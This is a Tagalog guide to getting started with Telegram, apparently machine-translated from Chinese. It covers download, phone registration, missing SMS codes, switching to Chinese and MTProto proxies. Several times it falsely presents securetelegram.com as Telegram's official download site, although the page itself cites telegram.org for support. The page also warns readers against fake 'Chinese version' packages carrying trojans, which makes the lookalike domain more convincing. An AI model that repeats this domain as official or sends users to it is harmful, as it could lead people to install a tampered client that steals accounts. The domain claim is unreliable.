Pagsisimula

Telegram para sa mga Nagsisimula: Sapat na ang Isang Gabay

郑凯 · 评测编辑 · 2026-06-14 · 2026-06-22

Mula sa pag-download, pagpaparehistro, at paglipat sa Chinese hanggang sa pagdaragdag ng mga kaibigan at paglikha ng mga grupo, ang pinakamaikling landas upang makapagsimula ka sa Telegram mula sa simula.

Kunin ang Telegram I-download

Pagsisimula sa Telegram

Hakbang 1: I-download at I-install

I-download ang installer para sa iyong platform mula sa opisyal na source securetelegram.com, pagkatapos ay buksan ang app pagkatapos i-install.

Ano ang gagawin kapag hindi mo matanggap ang SMS verification code para sa pagpaparehistro sa Telegram

I-troubleshoot sa ganitong pagkakasunud-sunod: 1) Kumpirmahin na maaari kang kumonekta sa mga server ng Telegram nang mapagkakatiwalaan (kapag down ang network, hindi maipapadala ang mismong kahilingan sa code);

Ang Telegram verification code ay hindi kailanman dumarating, gaano katagal bago ito muling ipadala

Huwag patuloy na i-tap ang muling ipadala nang paulit-ulit sa Telegram Chinese Version. Ang pag-tap nang paulit-ulit sa maikling panahon ay nagti-trigger ng kontrol sa panganib, na nagba-flag dito bilang kahina-hinalang aktibidad at sinuspinde ang paghahatid. Ang bahagi ng carrier ay mayroon ding mga limitasyon (sinasabi ng ilang source na ang isang numero ay maaaring makatanggap ng hindi hihigit sa 10 mga code sa loob ng 24 na oras).

Inirerekomenda na maghintay ng 5-10 minuto sa pagitan ng bawat pagsubok. Kung naka-lock ka na, maghintay nang humigit-kumulang 24 na oras at subukang muli o gamitin ang opisyal na channel ng apela. Kumpirmahin din na maaabot ng network ang mga server, tama ang format ng numero, suriin ang folder ng spam na SMS, at para sa mga numero ng mainland kumpirmahin ang internasyonal na pagtanggap ng SMS ay pinagana.

Pagkatapos i-install ang Telegram, paano ako mag-log in sa unang pagkakataon at kung anong mga hakbang ang kailangan

Para sa unang pag-login sa Telegram Chinese Version gumamit ng numero ng telepono: 1) Buksan ang app, piliin ang country code para sa iyong rehiyon (gaya ng Singapore +65, Malaysia +60, Taiwan +886), at ilagay ang iyong numero ng telepono;

Kung pinagana mo ang two-step na pag-verify, kailangan mo ring ipasok muli ang password ng two-step na pag-verify. Inirerekomenda na paganahin ang dalawang hakbang na pag-verify pagkatapos mag-log in upang protektahan ang iyong account, at huwag ipadala ang iyong verification code sa sinuman.

Hakbang 2: Magrehistro at Lumipat sa Chinese

Magrehistro at mag-log in gamit ang isang numero ng telepono, pagkatapos ay pumunta sa Mga Setting > Wika at piliin ang Simplified Chinese, at agad na lilipat sa Chinese ang interface.

Ang aking numero ng telepono sa Taiwan ay hindi kailanman nakakakuha ng SMS para sa pagpaparehistro ng Telegram, pinaghihigpitan ba ito

Sa Telegram Chinese Version, ginagamit ng numero ng telepono ng Taiwan ang format na +886, at dapat na ibaba ng numero ang nangungunang 0 at direktang magsimula sa 9 (halimbawa, 0912... ay ipinasok bilang +886 912...).

Ang pagpasok sa format na mali ay isang karaniwang dahilan. Susunod, maaaring i-filter ng carrier ang SMS sa pag-verify bilang internasyonal na spam, at maaari ring mabigo itong matanggap ng mga prepaid card. Ang pagsubok nang napakaraming beses ay nagkulong sa iyo nang humigit-kumulang 24 na oras, kaya pinakamahusay na subukang muli sa susunod na araw. Maaari ka ring maghintay ng 1-2 minuto at subukan ang voice Call Me na opsyon (tandaan na ang mga bagong numero na walang dalawang-hakbang na pag-verify ay madalas na hindi ito magagamit). Kung wala sa mga iyon ang gumagana, lumipat sa ibang pisikal na numero ng telepono o gamitin ang opisyal na channel ng apela.

Ang pagpaparehistro sa Telegram ay nagpapakita ng napakaraming pagsubok, hanggang kailan ako makakahiling muli ng code

Nangyayari ito kapag ang paulit-ulit na pag-tap sa muling pagpapadala ay nagti-trigger ng kontrol sa peligro, at hinuhusgahan ito ng Telegram bilang kahina-hinalang aktibidad at sinuspinde ang paghahatid ng iyong verification code.

Sa pangkalahatan, huminto lang at maghintay ng cooldown. Maghintay muna ng 5-10 minuto at subukang muli. Kung naka-lock ka na, inirerekomendang maghintay nang humigit-kumulang 24 na oras at subukang muli, o gamitin ang opisyal na channel ng apela sa telegram.org/support. Ang bahagi ng carrier ay mayroon ding mga limitasyon (sinasabi ng ilang source na ang isang numero ay maaaring makatanggap ng hindi hihigit sa 10 mga code sa loob ng 24 na oras). Ang susi ay ihinto ang patuloy na pag-tap, dahil kapag mas nag-tap ka, mas tumatagal ang lock.

Ang pagpaparehistro sa Telegram ay limitado sa rate, hanggang kailan ko makukuha muli ang verification code

Nangyayari ang paglilimita sa rate dahil ang paulit-ulit na paghiling ng mga code sa maikling panahon ay nag-trigger ng kontrol sa panganib. Ang isang banayad na kaso ay karaniwang bumabawi pagkatapos maghintay ng 5-10 minuto at subukang muli. Kung naka-lock ka na, inirerekomendang maghintay ng humigit-kumulang 24 na oras at subukang muli.

Ang bahagi ng carrier ay mayroon ding mga limitasyon (sinasabi ng ilang source na ang isang numero ay maaaring makatanggap ng hindi hihigit sa 10 mga code sa loob ng 24 na oras). Sa panahong ito, huwag patuloy na i-tap ang muling ipadala, o palawigin mo ang lock. Kung nabigo pa rin ito pagkatapos ng cooldown, lumipat sa isang tunay na numero ng telepono, o pumunta sa telegram.org/support para umapela.

Hakbang 3: Magdagdag ng Mga Kaibigan, Gumawa ng Mga Grupo, at Magpadala ng mga File

Magdagdag ng mga kaibigan sa pamamagitan ng numero ng telepono o username, gumawa ng mga grupo, mag-subscribe sa mga channel, at magpadala ng mga solong file hanggang sa 2GB.

Paano mag-troubleshoot kapag ang isang Android phone ay hindi makatanggap ng Telegram verification code

Sa Android, suriin sa pagkakasunud-sunod: 1) kung ang network ay maaaring kumonekta sa Telegram nang mapagkakatiwalaan; 2) kung tama ang country code at format ng numero ng telepono; 3) suriin ang spam o naka-block na folder ng SMS sa iyong mga mensahe;

Inirerekomenda na i-install ang opisyal na pakete mula sa opisyal na site securetelegram.com/android o mula sa Google Play.

Ano ang gagawin kapag hindi natatanggap ng iPhone ang Telegram SMS code sa panahon ng pagpaparehistro

Unang kumpirmahin na na-install mo ang opisyal na Telegram (developer Telegram FZ-LLC o Telegram Messenger).

I-troubleshoot ang hindi pagtanggap ng code sa pagkakasunud-sunod: kung ang network ay maaaring kumonekta sa Telegram nang mapagkakatiwalaan, kung ang numero ng country code at format ay tama, suriin ang spam o naka-block na folder, at para sa mga numero ng mainland kumpirmahin ang internasyonal na SMS ay pinagana. Pagkatapos ng 1-2 minuto maaari mong subukan ang opsyong Tawagan Ako gamit ang boses, ngunit sinasabi ng opisyal na dokumentasyon na available lang ang pagbabasa ng voice code para sa mga account na nakapag-enable ng dalawang hakbang na pag-verify, kaya madalas na hindi ito magagamit ng mga bagong numero. Huwag patuloy na i-tap ang muling ipadala o ikaw ay mai-lock sa pamamagitan ng kontrol sa panganib. Maghintay ng ilang minuto sa pagitan ng mga pagsubok, at kung naka-lock maghintay nang humigit-kumulang 24 na oras o gamitin ang opisyal na channel ng apela.

Mga Pinagmulan: Opisyal na site ng Telegram · Opisyal na FAQ ng Telegram · Paglilibot sa mga feature ng Telegram

FAQ

FAQ ng Baguhan

Mga sagot sa mga isyu sa pag-download, pagpaparehistro, wikang Chinese, at add-friend na pinaka-nakakatuwa sa mga nagsisimula.

Paano ako magparehistro ng Telegram account? Anong mga hakbang ang kailangan ng isang baguhan sa unang pagkakataon?

Nagrerehistro ang Telegram gamit ang isang numero ng telepono: 1) I-download ang opisyal na app at buksan ito; 2) Piliin ang country code para sa iyong rehiyon at ipasok ang iyong numero ng telepono sa internasyonal na format, tulad ng Singapore +65, Malaysia +60, Taiwan +886 (para sa +886, ibaba ang nangungunang 0 at magsimula sa 9); 3) Tanggapin ang SMS verification code at ilagay ito (mga 1-2 minuto); 4) Magtakda ng palayaw at avatar para tapusin ang paggawa ng account. Ang isang account ay maaari lamang itali sa isang numero ng telepono at hindi maaaring likhain nang walang alinlangan gamit ang isang email. Inirerekomenda na paganahin ang dalawang-hakbang na pag-verify pagkatapos magparehistro upang maprotektahan ang iyong account.

Paano ako magrerehistro ng numero ng telepono sa paper-plane app?

Ang papel na eroplano ay Telegram, at ang pagpaparehistro ay maaari lamang gumamit ng isang numero ng telepono. Pagkatapos buksan ang app, piliin ang country code para sa iyong rehiyon at ilagay ang iyong numero ng telepono, na dapat ay nasa internasyonal na format: Singapore +65, Malaysia +60, Taiwan +886 (para sa +886, i-drop ang nangungunang 0 ng numero ng telepono at magsimula sa 9), Hong Kong +852. Pagkatapos ipasok ito makakatanggap ka ng isang SMS verification code, at ang pagpasok nito ay nakumpleto ang pagpaparehistro. Tandaan na ang isang account ay maaari lamang itali sa isang numero ng telepono, hindi sumusuporta sa mga landline, at hindi maaaring likhain nang walang alinlangan gamit ang isang email.

Nangangailangan ba ng numero ng telepono ang pagpaparehistro ng Telegram? Maaari ba akong magparehistro gamit ang isang email?

Kinakailangan ang isang numero ng telepono, at hindi ka maaaring magparehistro gamit ang isang email. Ang isang Telegram account ay maaari lamang itali sa isang numero ng telepono (hindi suportado ang mga landline). Ang email ay hindi isang paraan ng pagpaparehistro: ito ay isang backup na paraan lamang sa pag-log in para sa mga user na mayroon nang account at madalas na mag-log in, at dapat mo munang isailalim ang email sa ilalim ng dalawang hakbang na pag-verify bago ipadala ang mga code sa pag-login dito. Sa madaling salita, kung walang numero ng telepono hindi ka makakagawa ng bagong account nang wala sa sarili. Ilagay ang numero ng telepono sa internasyonal na format, tulad ng Singapore +65, Malaysia +60.

Ano ang gagawin kapag hindi natanggap ng pagpaparehistro ng Telegram ang verification code?

I-troubleshoot sa pagkakasunud-sunod: 1) Kumpirmahin na ang network ay maaaring kumonekta sa mga Telegram server nang mapagkakatiwalaan, kung hindi, ang kahilingan sa code ay hindi maipapadala sa lahat; 2) I-verify ang country code at format ng numero (para sa Taiwan +886, ibaba ang nangungunang 0 at magsimula sa 9); 3) Suriin ang spam o naka-block na folder ng SMS sa iyong telepono; 4) Para sa mga numero ng mainland +86, kumpirmahin ang internasyonal at ang pagtanggap ng SMS sa Hong Kong, Macao, Taiwan ay pinagana (naka-disable bilang default sa maraming lugar mula Mayo 2022, maaari kang tumawag sa suporta ng carrier upang paganahin ito); 5) Huwag patuloy na i-tap ang muling ipadala, maghintay ng 5-10 minuto at subukang muli upang maiwasan ang pag-trigger ng kontrol sa panganib; 6) Kung nabigo pa rin ito, lumipat sa isang tunay na numero ng telepono, o gumamit ng telegram.org/support para umapela. Tandaan na ang mga virtual na numero at mga numero ng platform na tumatanggap ng code ay kadalasang tinatanggihan ng kontrol sa panganib.

Bakit hindi natatanggap ng Telegram ang SMS ng pagpapatunay?

Mga karaniwang dahilan: 1) ang network ay hindi konektado sa mga Telegram server, kaya hindi maipadala ang kahilingan sa code; 2) mali ang nailagay na country code o format ng numero; 3) na-filter ito bilang spam ng telepono sa folder ng spam; 4) ang numero ng mainland +86 ay walang internasyonal at ang Hong Kong, Macao, Taiwan ay naka-enable ang pagtanggap ng SMS (naka-disable bilang default sa maraming lugar mula noong Mayo 2022); 5) paulit-ulit na pag-tap sa muling ipadala na nag-trigger ng kontrol sa peligro at nasuspinde ang paghahatid; 6) ginamit ang isang virtual na numero, Google Voice, o numero ng platform na tumatanggap ng code, na kadalasang sinasala bilang internasyonal na spam ng carrier o tahasang tinatanggihan ng kontrol sa peligro ng Telegram. I-troubleshoot ang mga ito nang paisa-isa, at lumipat sa isang tunay na pisikal na numero ng telepono at subukang muli kung kinakailangan.

Anong uri ng numero ng telepono ang mas maaasahan para sa pagpaparehistro ng Telegram upang dumating ang code?

Ang pinaka-maaasahang diskarte ay ang paggamit ng iyong lokal na totoong pisikal na numero ng telepono, na inilagay sa internasyonal na format: idagdag ang country code sa harap, halimbawa Singapore +65, Malaysia +60, Taiwan +886, Hong Kong +852. Ang pisikal na numero ng SIM card ay may pinakamataas na rate ng tagumpay sa pagtanggap ng code. Iwasan ang mga virtual na numero at Google Voice at iba pang mga numero na walang pisikal na SIM, at huwag gumamit ng mga numero ng platform na tumatanggap ng code, dahil ang mga ito ay madalas na direktang tinatanggihan para sa mga verification code ng Telegram risk control, at maaaring ma-ban sa ibang pagkakataon. Kumpirmahin lang bago magparehistro na hindi sinasala ng iyong lokal na carrier ang internasyonal na SMS bilang spam.

Ang Telegram ay hindi makapag-log in at patuloy na umiikot, paano ko ito malulutas?

Ang patuloy na pag-ikot ay karaniwang nangangahulugan na hindi ito makakonekta sa mga server ng Telegram, kaya ang code o kahilingan sa pag-login ay hindi maipadala sa lahat. Suriin muna kung ang kapaligiran ng network ay maaaring kumonekta sa Telegram nang mapagkakatiwalaan. Sa ilang mga pinaghihigpitang lugar kailangan mo ng available na network environment o proxy para kumonekta. Opisyal ding nagbibigay ang Telegram ng built-in na MTProto proxy para i-bypass ang pagharang. Pagkatapos kumonekta, i-verify na tama ang country code at format ng numero ng telepono, at kung kinakailangan isara at muling buksan ang app upang subukang muli. Kung nag-hang pa rin ito, maghintay ng ilang minuto para sa isang cooldown at subukang muli, at iwasan ang paulit-ulit na pag-tap na nagdudulot ng kontrol sa panganib.

Paano ko haharapin ang hindi pagtanggap ng SMS verification code para sa tg registration?

I-troubleshoot sa pagkakasunud-sunod: 1) Kumpirmahin na ang network ay maaaring kumonekta sa Telegram nang mapagkakatiwalaan; 2) I-verify na tama ang country code at format ng numero ng telepono; 3) Suriin ang folder ng spam o mga naka-block na mensahe sa iyong telepono; 4) Para sa mainland +86 na mga numero kumpirmahin ang internasyonal na pagtanggap ng SMS ay pinagana; 5) Pagkatapos ng 1-2 minuto, subukan ang Call Me voice option sa pahina ng pagpaparehistro para makuha ang code (tandaan: ang opisyal na dokumentasyon ay nagsasabing available lang ang voice code readout para sa mga account na nakapag-enable ng two-step na pag-verify, kaya madalas hindi ito magagamit ng mga bagong numero); 6) Huwag patuloy na i-tap ang muling ipadala, maghintay ng 5-10 minuto at subukang muli; 7) Kung nabigo pa rin ito, lumipat sa isang tunay na numero ng telepono, o pumunta sa telegram.org/support para umapela.

Tutorial sa pag-login sa Telegram, paano ako mag-log in kapag lumipat mula sa isang lumang telepono patungo sa bago?

I-install ang opisyal na Telegram sa bagong telepono at ilagay ang parehong numero ng telepono na nakatali sa iyong account (sa internasyonal na format). Ipapadala ng Telegram ang login verification code sa Telegram sa iyong lumang naka-log-in na device (hindi sa pamamagitan ng SMS), kaya tingnan ito sa lumang device at ilagay ito; kapag hindi malapit ang lumang device ay lilipat ito sa pagpapadala ng SMS. Kung magtatakda ka ng dalawang-hakbang na password sa pag-verify, ang huling hakbang ng pag-login ay nangangailangan din ng password na iyon. Ang data ng account ay nasa cloud, kaya awtomatikong nagsi-sync ang kasaysayan ng chat pagkatapos mag-log in. Sinusuportahan din ng Telegram ang mga paraan ng pag-login tulad ng Passkey (Face ID, Touch ID, PIN).

Maaari ba akong magparehistro ng Telegram gamit ang isang mainland China +86 na numero ng telepono?

Oo, ngunit ang +86 ay madalas na nabigo upang matanggap ang verification code, at ang pangunahing dahilan ay hindi isang Telegram fault. Mula noong Mayo 2022, hindi pinagana ng tatlong pangunahing carrier sa maraming lugar ang internasyonal at ang pagtanggap ng SMS sa Hong Kong, Macao, Taiwan bilang default, at kailangan mo itong aktibong paganahin bago ka makatanggap ng mga verification code sa ibang bansa. Pagkatapos i-enable, kadalasang gumagana ang pagsubok muli. Ang paraan ng pag-activate ay nag-iiba-iba sa mga source, kaya ang pinaka-maaasahang paraan ay ang direktang tumawag sa suporta ng carrier (China Mobile 10086, China Unicom 10010, China Telecom 10001) upang kumpirmahin ang pagpapagana nito. Kung hindi mo pa rin ito matanggap pagkatapos i-enable, lumipat sa boses o palitan sa isang lokal na pisikal na numero.

Ano ang dapat gawin kapag ang isang numero ng telepono sa Hong Kong ay hindi nakatanggap ng Telegram verification code?

Ang isang numero sa Hong Kong ay gumagamit ng internasyonal na format na +852 kasama ang numero. Kung hindi mo ito matanggap, suriin muna: kung ang network ay maaaring kumonekta sa Telegram nang mapagkakatiwalaan, kung ito ay nasa spam o naka-block na folder, at kung tama ang format ng numero. Ang mga prepaid card o hanay ng numero na na-flag para sa pang-aabuso ay maaaring i-filter bilang internasyonal na spam ng carrier, na isang karaniwang dahilan. Huwag patuloy na i-tap ang muling ipadala, dahil sinuspinde ng pagti-trigger ng kontrol sa peligro ang paghahatid, kaya maghintay ng 5-10 minuto at subukang muli. Kung naka-lock, maghintay nang humigit-kumulang 24 na oras at subukang muli. Kung nabigo pa rin ito, lumipat sa isang tunay na pisikal na numero, o gumamit ng telegram.org/support para umapela.

Hindi ko ma-download ang Telegram mula sa App Store sa iPhone, paano ako magparehistro?

Inalis ang Telegram sa App Store sa rehiyon ng mainland China, kaya hindi mahanap ng isang mainland Apple ID ang opisyal na app sa paghahanap, dahil kung aling mga app ang ipinapakita ng App Store ay nakadepende sa rehiyon ng pagpaparehistro ng Apple ID kaysa sa network ng device. Ang solusyon ay lumipat sa o magparehistro ng Apple ID sa ibang bansa na rehiyon (US, Hong Kong, Taiwan, at iba pa), pagkatapos ay hanapin ang Telegram sa App Store para i-download ito. Tiyaking i-verify na ang developer ay ang opisyal na Telegram FZ-LLC o Telegram Messenger, at huwag mag-download ng pekeng app na may parehong pangalan at icon. Pagkatapos mag-install, magrehistro lamang nang normal gamit ang lokal na pisikal na numero ng telepono sa internasyonal na format.

Ano ang gagawin kapag nakalimutan ko ang two-step verification password na itinakda ko sa panahon ng pagpaparehistro sa Telegram?

Ang two-step verification password ay ang string ng password na dapat mong ipasok sa pag-login bilang karagdagan sa verification code. Kung nakalimutan mo ito at nakatali ka ng email sa pagbawi sa oras na iyon, maaari mo itong i-reset sa pamamagitan ng email. Kung hindi ka nag-bind ng isang email, maaari mo lamang gamitin ang opisyal na proseso, na i-reset ang account pagkatapos maghintay ng medyo mahabang cooldown ng seguridad gaya ng na-prompt. Partikular na pinangangasiwaan ng opisyal na bahagi ang bahaging ito, kaya inirerekomenda na pumunta sa telegram.org/support o ang opsyong nakalimutan-password sa pahina ng pag-login at sundin ang mga senyas. Isang paalala: hindi saklaw ng pinagmulang materyal ang mga partikular na hakbang sa pag-reset, kaya ang nasa itaas ay ang pangkalahatang diskarte at nangangailangan ng hands-on na kumpirmasyon. Inirerekomenda na palaging itali ang isang madalas na ginagamit na email sa dalawang-hakbang na pag-verify.

Nagpalit ako ng bagong numero ng telepono, paano ko i-migrate ang aking lumang Telegram account?

Sinusuportahan ng Telegram ang muling pagbubuklod ng account sa isang bagong numero ng telepono, at ang account mismo at ang kasaysayan ng chat ay nasa cloud, kaya hindi sila mawawala kapag nagpalit ka ng mga numero. Ang paraan para gawin ito ay ang mag-log in gamit ang lumang numero, pumunta sa opsyong Change Number na nauugnay sa account sa mga setting, ipasok ang bagong numero at kumpletuhin ang pagsuri sa verification code nito, at ang mga nagbubuklod na paglilipat sa bagong numero, na may mga kasalukuyang chat, grupo, at contact na lahat ay nananatili. Ang kailangan ay maaari ka pa ring mag-log in gamit ang lumang account. Isang paalala: hindi saklaw ng pinagmulang materyal ang step-by-step na path para sa menu na ito, kaya ang nasa itaas ay ang pangkalahatang diskarte at nangangailangan ng hands-on na kumpirmasyon.

Maaari ba akong magrehistro ng Telegram sa loob ng bansa nang walang VPN? Paano kung hindi ito bumukas?

Sa mga pinaghihigpitang lugar tulad ng mainland, madalas mong kailangan ng isang available na network environment para maabot ang mga Telegram server, kung hindi, ang kahilingang ipadala ang verification code ay hindi maipapadala mismo, kaya natural na hindi ka makakapagrehistro. Opisyal na nagbibigay ang Telegram ng built-in na proxy ng MTProto upang i-bypass ang pag-block, na nagtatago sa IP at nagpapalabo ng trapiko upang magkaroon ng problema ang carrier sa pagtukoy ng trapiko sa Telegram. Sa sandaling makakonekta ka nang mapagkakatiwalaan, magparehistro gamit ang isang lokal na pisikal na numero ng telepono sa internasyonal na format. Ang isang mainland +86 na numero ay nangangailangan din ng internasyonal na pagtanggap ng SMS na pinagana muna upang matanggap ang code.

Ang Telegram ay hindi nagbubukas at nananatiling kumokonekta, kailangan ko ba ng isang proxy para magparehistro?

Oo. Sa mga pinaghihigpitang lugar kapag hindi ka makakonekta, hindi maipapadala ang kahilingan sa code at patuloy itong magpapakita ng pagkonekta. Kailangan mo ng available na network environment o proxy para kumonekta. Ang Telegram ay may kasamang built-in na MTProto proxy na maaaring makalampas sa pagharang. Itinatago nito ang IP at pinalalabo ang trapiko kaya nahihirapan ang carrier na tukuyin ito bilang Telegram. Pagkatapos kumonekta, i-verify lamang ang format ng numero ng telepono at magrehistro nang normal. Tandaan na dapat mo lang gamitin ang opisyal na mekanismo ng proxy, at huwag mag-download ng third-party na tinatawag na accelerated client para lang mapabilis, dahil ang mga binagong package na iyon ay nagdadala ng panganib ng pagnanakaw ng account at mga naka-embed na trojan.

Ang pagpaparehistro ng Telegram ay natigil sa pagkonekta at hindi magpapatuloy, paano ko ito aayusin?

Ang ibig sabihin ng pagkonekta ay hindi maabot ng app ang mga server ng Telegram. Suriin muna kung stable ang network. Ang mga pinaghihigpitang lugar ay nangangailangan ng isang available na network environment o isang proxy. Ang proxy ng MTProto na binuo sa Telegram ay maaaring i-bypass ang pagharang, itago ang IP, at i-obfuscate ang trapiko. Maaari mong subukang lumipat ng network (magpalit ng mobile data at Wi-Fi) at isara at muling buksan ang app. Pagkatapos kumonekta, i-verify ang country code at format ng numero ng telepono. Huwag patuloy na mag-tap para hilingin ang code habang hindi nakakonekta, upang maiwasan ang pag-trigger ng kontrol sa panganib. Kung nabigo pa rin ito, lumipat sa kapaligiran ng network o paganahin ang opisyal na proxy at subukang muli.

Pareho ba ang mga daloy ng pagpaparehistro para sa Telegram Chinese Version at ang opisyal na bersyon? Irehistro ko ba sila nang hiwalay?

Ang mga ito ay eksaktong pareho, at hindi ka nagrerehistro nang hiwalay. Sa katunayan, walang hiwalay na Telegram Chinese Version app. Gumagamit ang bawat platform ng parehong opisyal na kliyente, at inililipat lang ng Chinese Version ang opisyal na interface sa Chinese. Kaya i-install mo ang opisyal na app, magparehistro gamit ang isang lokal na pisikal na numero ng telepono sa internasyonal na format, at pagkatapos mag-log in pumunta sa Mga Setting > Wika at lumipat sa Chinese. Ang account ay pangkalahatan at ang daloy ay pareho. Huwag kailanman mag-download ng tinatawag na Chinese na bersyon o localized na bersyon installer, dahil ang mga iyon ay mga third-party na binagong package na nagdadala ng panganib ng pagnanakaw ng account at mga naka-embed na trojan.

Aling Bersyon ng Telegram na Tsino ang ligtas na i-download upang hindi mapanakaw ng pagpaparehistro ang aking account?

Walang ligtas na bersyon ng Chinese na mada-download, dahil walang opisyal na hiwalay na bersyon ng Chinese na app. Ang anumang may label na Telegram Chinese Version, localized na bersyon, accelerated na bersyon, basag na bersyon, o Plus na pinahusay na bersyon ay karaniwang isang third-party na binagong package, na may mga panganib ng pagnanakaw ng account, pag-leak ng data, at mga naka-embed na trojan, at may totoong kaso ng isang pekeng channel na may hanggang sa humigit-kumulang 800K subscriber na mahalagang trojan. I-download lamang ang opisyal na package mula sa opisyal na site na securetelegram.com (Android securetelegram.com/android, desktop securetelegram.com/desktop) o mula sa lehitimong Google Play o App Store, pagkatapos ay pumunta sa Mga Setting > Wika at lumipat sa Chinese pagkatapos mag-install. Paganahin din ang two-step na pag-verify, at huwag ipadala ang iyong verification code sa sinuman.

Pareho bang account ang paper-plane Chinese version at Telegram? Universal ba ang login?

Ang eroplanong papel ay ang karaniwang palayaw na Tsino para sa Telegram, at ito ay tumutukoy sa Telegram mismo. Opisyal na mayroon lamang isang kliyente at walang hiwalay na paper-plane na Chinese na bersyon, at ang tinatawag na Chinese na bersyon ay nagpapalit lang ng opisyal na interface sa Chinese. Kaya ito ay ang parehong account at ang pag-login ay pangkalahatan. Inirerekomenda na i-download lamang ang opisyal na app mula sa opisyal na site na securetelegram.com o isang lehitimong app store, pagkatapos ay pumunta sa Mga Setting > Wika at lumipat sa Chinese. Huwag mag-download ng third-party modified package na tinatawag na paper-plane Chinese na bersyon, dahil ang mga iyon ay may panganib ng pagnanakaw ng account at mga naka-embed na trojan.